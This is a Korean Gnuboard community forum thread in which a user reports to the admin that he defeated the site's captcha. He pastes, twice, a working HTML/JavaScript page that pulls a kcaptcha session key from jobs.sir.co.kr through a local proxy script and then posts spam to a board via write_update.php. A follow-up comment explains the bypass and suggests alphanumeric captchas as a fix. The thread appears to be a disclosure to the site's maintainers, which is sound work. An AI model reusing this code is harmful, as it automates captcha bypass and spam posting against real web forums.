관리자님 성공했습니다....
오직 php와 javascript로 성공했습니다. 확인해보세요. ^^
댓글 2개
jacobswell
14년 전
<!-- <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> -->
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<title>1 > sdfsdfsdfsdfsdf > 글쓰기</title>
</head>
<script type="text/javascript" src="./md5.js"></script>
<body topmargin="0" leftmargin="0" >
그누보드에 글을 올려볼까요...
<button id="post_btn" onclick="post();">글 올리기</button> <input type="text" value="" size="5" id="display_key" /><br />
<script type="text/javascript">
function getHttpRequest()
{
var req = null;
if (window.ActiveXObject) {
try {
req = new ActiveXObject("Msxml2.XMLHTTP"); // 5.0 이후 버전
}
catch(e) {
try {
req = new ActiveXObject("Microsoft.XMLHTTP"); // 5.0 이전 버전
}
catch(e1) {
req = null;
}
}
}
else if (window.XMLHttpRequest) {
try {
req = new XMLHttpRequest();
}
catch (e) {
req = null;
}
}
return req;
}
var data = {
'id': '',
'name': '임시자',
'password': '1234',
'subject': 'spammer',
'content': 'spam content'
};
var phpsessid = '';
var req = getHttpRequest();
function post()
{
var url = 'http://localhost/spammer/transport.php?transport_url='+encodeURI('http://jobs.sir.co.kr/gnu4/bbs/kcaptcha_session.php')+'&transport_method=get&transport_phpsessid=true&transport_kcaptcha=true';
document.getElementById('display_key').value = '';
req.open('GET', url, false);
req.onreadystatechange = function() {
if (req.readyState == 4) {
if (req.status == 200) {
//alert(req.responseText);
var json_data = eval('('+req.responseText+')');
if (json_data.key) {
document.getElementById('display_key').value = json_data.key;
process(json_data.key);
}
}
}
};
req.send(null);
}
function process(key)
{
var j = Math.floor(Math.random()*10000)+1;
send('테스트'+j.toString(), '테스트 본문 '+j.toString(), key);
}
function send(subject, content, key)
{
var url = 'http://localhost/spammer/transport.php';
var param = 'transport_url='+encodeURI('http://jobs.sir.co.kr/gnu4/bbs/write_update.php')+'&transport_method=post&transport_noresponse=true';
param += '&wr_name='+encodeURI(data.name)+'&mb_id='+encodeURI(data.id)+'&mb_password='+encodeURI(data.password);
param += '&wr_subject='+encodeURI(subject);
param += '&wr_content='+encodeURI(content);
param += '&wr_key='+encodeURI(key);
param += '&w=&bo_table=dsfdfsdfsdsdf&wr_id=';
req.open('POST', url, false);
req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
req.setRequestHeader('content-length', param.length);
req.setRequestHeader('Connection', 'close');
req.onreadystatechange = function() {
if (req.readyState == 4) {
if (req.status == 200) {
pause(1500);
}
}
};
req.send(param);
}
// 그냥 n millis 동안 멈추기
function pause(milis)
{
var now = new Date();
var exitTime = now.getTime()+milis;
while (true) {
now = new Date();
if (now.getTime() > exitTime) return;
}
}
</script>
</body>
</html>
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<title>1 > sdfsdfsdfsdfsdf > 글쓰기</title>
</head>
<script type="text/javascript" src="./md5.js"></script>
<body topmargin="0" leftmargin="0" >
그누보드에 글을 올려볼까요...
<button id="post_btn" onclick="post();">글 올리기</button> <input type="text" value="" size="5" id="display_key" /><br />
<script type="text/javascript">
function getHttpRequest()
{
var req = null;
if (window.ActiveXObject) {
try {
req = new ActiveXObject("Msxml2.XMLHTTP"); // 5.0 이후 버전
}
catch(e) {
try {
req = new ActiveXObject("Microsoft.XMLHTTP"); // 5.0 이전 버전
}
catch(e1) {
req = null;
}
}
}
else if (window.XMLHttpRequest) {
try {
req = new XMLHttpRequest();
}
catch (e) {
req = null;
}
}
return req;
}
var data = {
'id': '',
'name': '임시자',
'password': '1234',
'subject': 'spammer',
'content': 'spam content'
};
var phpsessid = '';
var req = getHttpRequest();
function post()
{
var url = 'http://localhost/spammer/transport.php?transport_url='+encodeURI('http://jobs.sir.co.kr/gnu4/bbs/kcaptcha_session.php')+'&transport_method=get&transport_phpsessid=true&transport_kcaptcha=true';
document.getElementById('display_key').value = '';
req.open('GET', url, false);
req.onreadystatechange = function() {
if (req.readyState == 4) {
if (req.status == 200) {
//alert(req.responseText);
var json_data = eval('('+req.responseText+')');
if (json_data.key) {
document.getElementById('display_key').value = json_data.key;
process(json_data.key);
}
}
}
};
req.send(null);
}
function process(key)
{
var j = Math.floor(Math.random()*10000)+1;
send('테스트'+j.toString(), '테스트 본문 '+j.toString(), key);
}
function send(subject, content, key)
{
var url = 'http://localhost/spammer/transport.php';
var param = 'transport_url='+encodeURI('http://jobs.sir.co.kr/gnu4/bbs/write_update.php')+'&transport_method=post&transport_noresponse=true';
param += '&wr_name='+encodeURI(data.name)+'&mb_id='+encodeURI(data.id)+'&mb_password='+encodeURI(data.password);
param += '&wr_subject='+encodeURI(subject);
param += '&wr_content='+encodeURI(content);
param += '&wr_key='+encodeURI(key);
param += '&w=&bo_table=dsfdfsdfsdsdf&wr_id=';
req.open('POST', url, false);
req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
req.setRequestHeader('content-length', param.length);
req.setRequestHeader('Connection', 'close');
req.onreadystatechange = function() {
if (req.readyState == 4) {
if (req.status == 200) {
pause(1500);
}
}
};
req.send(param);
}
// 그냥 n millis 동안 멈추기
function pause(milis)
{
var now = new Date();
var exitTime = now.getTime()+milis;
while (true) {
now = new Date();
if (now.getTime() > exitTime) return;
}
}
</script>
</body>
</html>
jacobswell
14년 전
핵심 파일은 transport.php인데요... 이걸 올리면 이제 스팸글 많이 올라오겠죠... 결국 PHPSESSID를 붙여넣는 것도 의미가 없다는 이야기입니다. 캡차를 단순히 숫자로 할 경우는 1~2초도 되지 않아 풀립니다. 캡차를 문자까지 넣는 것이 PHPSESSID를 붙이는 것보다 더 효과가 클것 같은데요...
게시판 목록
자유게시판
| 번호 | 제목 | 글쓴이 | 날짜 | 조회 |
|---|---|---|---|---|
| 37 | 20년 전 | 6831 | ||
| 36 | 20년 전 | 7174 | ||
| 35 | 22년 전 | 9525 | ||
| 34 |
ihsahN
|
22년 전 | 9793 | |
| 33 | 22년 전 | 8945 | ||
| 32 |
행자
|
22년 전 | 9963 | |
| 31 |
|
22년 전 | 9017 | |
| 30 |
몽비쥬
|
22년 전 | 9092 | |
| 29 | 22년 전 | 11261 | ||
| 28 |
레이
|
22년 전 | 9794 | |
| 27 |
몽비쥬
|
22년 전 | 10561 | |
| 26 |
마스터케빈
|
22년 전 | 9627 | |
| 25 |
마스터케빈
|
22년 전 | 10278 | |
| 24 |
레이
|
22년 전 | 10461 | |
| 23 |
레이
|
22년 전 | 8907 | |
| 22 | 22년 전 | 10825 | ||
| 21 |
학생2
|
22년 전 | 10567 | |
| 20 |
ihsahN
|
22년 전 | 11188 | |
| 19 |
|
22년 전 | 10780 | |
| 18 | 22년 전 | 10859 | ||
| 17 | 22년 전 | 10641 | ||
| 16 |
3701design
|
22년 전 | 10575 | |
| 15 |
마스터케빈
|
22년 전 | 12066 | |
| 14 | 22년 전 | 14674 | ||
| 13 | 22년 전 | 12387 | ||
| 12 |
마스터케빈
|
22년 전 | 13446 | |
| 11 |
마스터케빈
|
22년 전 | 12197 | |
| 10 | 22년 전 | 13854 | ||
| 9 | 22년 전 | 13845 | ||
| 8 |
ihsahN
|
22년 전 | 13569 |
여기 몇몇 분들 빼곤 ..... [18]
케빈님... 쪽지 보시고 연락 부탁드립니다. [6]
레이
•
22년 전
에겅.. 머리아프당.. [11]
레이
•
22년 전
안읽으셔도 되요 단순잡담... [23]
학생2
•
22년 전
댓글 작성
댓글을 작성하시려면 로그인이 필요합니다.
로그인하기